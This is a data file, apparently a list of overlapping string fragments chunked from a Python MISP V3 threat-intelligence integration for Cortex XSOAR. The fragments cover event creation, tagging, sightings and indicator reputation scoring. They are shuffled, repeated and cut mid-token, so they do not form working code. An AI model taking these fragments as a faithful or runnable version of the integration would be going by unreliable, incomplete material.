'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS\",\n \"command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute':\",\n \"url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None\",\n \"Gets a timestamp from MISP response (1546713469) and converts it to human readable\",\n \"one of it's tags. If so, the event will be added to related_events\",\n \"value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def\",\n \"attribute. is_attribute (bool): if the given UUID belongs to an attribute (True) or\",\n \"False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit =\",\n \"misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\"\",\n \"of a NewConnectionError, ' 'Please make sure your MISP server url is correct.')\",\n \"sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID':\",\n \"event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict):\",\n \"attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is\",\n \"obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required\",\n \"out others that may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md =\",\n \"suspicious. event_name (str): Name of the event \\\"\\\"\\\" related_events = [] object_tags_list =\",\n \"dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score,\",\n \"that was scored as malicious or suspicious. event_name (str): Name of the event\",\n \"category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen\",\n \"value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid\",\n \"error: Please provide a valid value for the Source Reliability parameter\\\") attributes_limit =\",\n \"returned from MISP to the context output format. please note: attributes are excluded\",\n \"tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise\",\n \"[{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else\",\n \"or attribute dict which includes tags list. found_tag (str): The tag that was\",\n \"demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit']\",\n \"= PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id\",\n \"if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category\",\n \"of the found tag ids. Some tags have a field called inherited. When\",\n \"Gets an event id and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response =\",\n \"'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked',\",\n \"any]]: filtered response \\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') }\",\n \"outputs will be a list of attributes along with their events objects. Note:\",\n \"= misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events\",\n \"'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration':\",\n \"MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5\",\n \"Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags':\",\n \"Events that: * have tags which configured as malicious will be scored 3\",\n \"if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned\",\n \"= get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in\",\n \"specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj =\",\n \"please check it once again\\\") new_event = response[0] # response[0] is MISP event\",\n \"to related_events list Args: object_data_dict (dict): Event or attribute dict which includes tags\",\n \"from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\"\",\n \"args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format:\",\n \"attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and\",\n \"or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params,\",\n \"in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes =\",\n \"score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value)\",\n \"is an event's tag. Otherwise (if it is set to 0 or not\",\n \"using the operators is optional. if 'demisto_query' does not contains any of the\",\n \"except PyMISPError: raise DemistoException(\\\"Removing the required tag was failed. Please make sure the\",\n \"dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value}\",\n \"'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN',\",\n \"attribute we remove the \\\"Related Attribute\\\" list and limits the tags and galaxies\",\n \"= r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and =\",\n \"exist when this is an attribute level, default is '0' tag_id = tag.get('id')\",\n \"urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\" headers\",\n \"search query when user set the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str):\",\n \"argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with the\",\n \"MISP for the given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\"\",\n \"response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event\",\n \"dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches for the given attribute\",\n \"attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category')\",\n \"includes tags list. found_tag (str): The tag that was scored as malicious or\",\n \"'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name':\",\n \"= demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\\\"Adding\",\n \"for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events\",\n \"DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if\",\n \"Indicators of attributes and Events that: * have tags which configured as malicious\",\n \"as an independence command or as part of another command (create event for\",\n \"ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id,\",\n \"Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value)\",\n \"which configured as malicious will be scored 3 (i.e malicious). * have tags\",\n \"event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else\",\n \"match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or,\",\n \"(MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key\",\n \"given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has to be a positive\",\n \"attribute in attributes] def pagination_args_validation(page, limit): if page and page < 0: raise\",\n \"if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return\",\n \"2 (i.e suspicious). * don't have any tags configured as suspicious nor malicious\",\n \"'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution',\",\n \"if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a\",\n \"dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args dict into a list, please see\",\n \"= dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not\",\n \"return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score\",\n \"tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids =\",\n \"str: \\\"\\\"\\\" Gets a timestamp from MISP response (1546713469) and converts it to\",\n \"import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL)\",\n \"'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category':\",\n \"has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',\",\n \"was configured to be malicious is stronger than recognised as suspicious). \\\"\\\"\\\" common_ids\",\n \"if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object',\",\n \"have tags which configured as malicious will be scored 3 (i.e malicious). *\",\n \"& set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in\",\n \"response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\\\nError message: {response}')\",\n \"in Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing dicts\",\n \"the context output format. please note: attributes are excluded from search-events output as\",\n \"command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute':\",\n \"'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for\",\n \"\\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event,\",\n \"object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id\",\n \"events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning related event\",\n \"events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids\",\n \"case, the score will be BAD if the threat level id is in\",\n \"not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value} is not valid\\\") if\",\n \"import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import\",\n \"misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE)\",\n \"DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been\",\n \"calculated the score of the indicator. For the context data outputs, for every\",\n \"== 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command ==\",\n \"response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if\",\n \"and Suspicious tag ids lists the indicator will be scored as malicious. -\",\n \"PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the attribute\",\n \"full of in unnecessary data, we want to limit this list to include\",\n \"= demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen =\",\n \"try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\\\"Adding the required\",\n \"if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value)\",\n \"False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True)\",\n \"replace keys in Returns: Union[dict, list, str]: same object type that got in\",\n \"args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids')\",\n \"from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) #\",\n \"feed format must be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args)\",\n \"outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found in MISP for the\",\n \"args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else\",\n \"GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets a\",\n \"be added to related_events list Args: object_data_dict (dict): Event or attribute dict which\",\n \"if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port',\",\n \"err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]:\",\n \"if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category':\",\n \"'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return\",\n \"return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True))\",\n \"args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit'\",\n \"nor malicious will be scored by their event's threat level id. In such\",\n \"'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID',\",\n \"# type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as\",\n \"\\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys\",\n \"an independence command or as part of another command (create event for example)\",\n \"object we go over all the tags and search if found_tag is one\",\n \"the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'),\",\n \"to tag_set_ids all the tags (event ones and the event's attribute tags ones\",\n \"updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP add attribute\\\\nNew attribute: {value}\",\n \"= attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data,\",\n \"outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path =\",\n \"that: * have tags which configured as malicious will be scored 3 (i.e\",\n \"Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'),\",\n \"(both malicious and suspicious) are stronger than events' tags. \\\"\\\"\\\" found_tag = None\",\n \"'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute\",\n \"Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'),\",\n \"BAD if the threat level id is in [1,2,3]. Otherwise, the threat level\",\n \"have tags which configured as suspicious will be scored 2 (i.e suspicious). *\",\n \"2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list()\",\n \"attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if not isinstance(args, list): args\",\n \"add the tag. Args: attribute_dict (dict): The dictionary that includes the tag list.\",\n \"Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\":\",\n \"List[dict]: \\\"\\\"\\\" Converts args dict into a list, please see GenericObjectGenerator Class in\",\n \"search-attributes in order to get the information about the attributes. \\\"\\\"\\\" response_object =\",\n \"sighting to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type =\",\n \"= arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if\",\n \"tag ids. Some tags have a field called inherited. When it is set\",\n \"score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return\",\n \"is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address: {value} is not valid\\\") if dbot_type\",\n \"value, this function parses the response. This function goes over all the attributes\",\n \"search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given object we go over all the\",\n \"'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args,\",\n \"Args: obj: object to add to MISP event_id: ID of event \\\"\\\"\\\" response\",\n \"\\\"Please make sure the API key and the URL are correct\\\" in error:\",\n \"def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args =\",\n \"tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot\",\n \"depends on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy':\",\n \"required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if\",\n \"[{url}] is not a valid MISP feed. error: {e}') def add_object(event_id: str, obj:\",\n \"= False, demisto_args: dict = {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to\",\n \"return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with the given attribute\",\n \"'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\"\",\n \"to the given limit) and by sub-functions calculated the score of the indicator.\",\n \"default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level\",\n \"given UUID belongs to an attribute (True) or event (False). \\\"\\\"\\\" uuid =\",\n \"domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips:\",\n \"be scored 2 (i.e suspicious). * don't have any tags configured as suspicious\",\n \"human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute,\",\n \"tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious\",\n \"Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8',\",\n \"import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute\",\n \"'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') }\",\n \"will be added to related_events list Args: object_data_dict (dict): Event or attribute dict\",\n \"= len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context\",\n \"response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command:\",\n \"Otherwise, the data is attribute's (attribute tags). \\\"\\\"\\\" output = [] tag_set_ids =\",\n \"outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results\",\n \"response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID':\",\n \"[attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and page <\",\n \"outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids =\",\n \"ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message)\",\n \"analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info\",\n \"return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in\",\n \"the given object we go over all the tags and search if found_tag\",\n \"the tag except PyMISPError: raise DemistoException(\\\"Adding the required tag was failed. Please make\",\n \"= re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query,\",\n \"look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96},\",\n \"add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try:\",\n \"event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def\",\n \"-> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from MISP's format to Demisto's (as\",\n \"response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\"\",\n \"'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif\",\n \"and then calculates it's dbot score. The score is calculated by the tags\",\n \"email or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids\",\n \"0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else\",\n \"include the indicator Please see an example for a response in test_data/reputation_command_response.json Please\",\n \"we go over all the tags and search if found_tag is one of\",\n \"'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid':\",\n \"copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda\",\n \"return CommandResults(readable_output=f\\\"No attributes found in MISP for the given filters: {args}\\\") def build_events_search_response(response:\",\n \"'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def\",\n \"found in MISP. please check it once again\\\") new_event = response[0] # response[0]\",\n \"create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors'))\",\n \"suspicious will be scored 2 (i.e suspicious). * don't have any tags configured\",\n \"pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\\\"page should be zero\",\n \"ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ]\",\n \"'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown':\",\n \"should be zero or a positive number\\\") if limit and limit < 0:\",\n \"to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids,\",\n \"Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults:\",\n \"Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') })\",\n \"'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID',\",\n \"{event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id =\",\n \"event in events_to_human_readable: # removing those fields as they are shared by the\",\n \"'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen':\",\n \"demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if\",\n \"ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised\",\n \"data is attribute's (attribute tags). \\\"\\\"\\\" output = [] tag_set_ids = set() tags_list\",\n \"will be returned Returns: str: dictionary created for misp to perform complex query\",\n \"is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious:\",\n \"for key in EVENT_FIELDS 